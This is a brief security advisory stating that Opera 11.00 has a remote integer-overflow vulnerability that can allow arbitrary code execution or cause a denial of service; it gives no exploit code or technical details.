Opera Web Browser is prone to a remote integer-overflow vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks will cause denial-of-service conditions.

Opera 11.00 is vulnerable; other versions may also be affected.
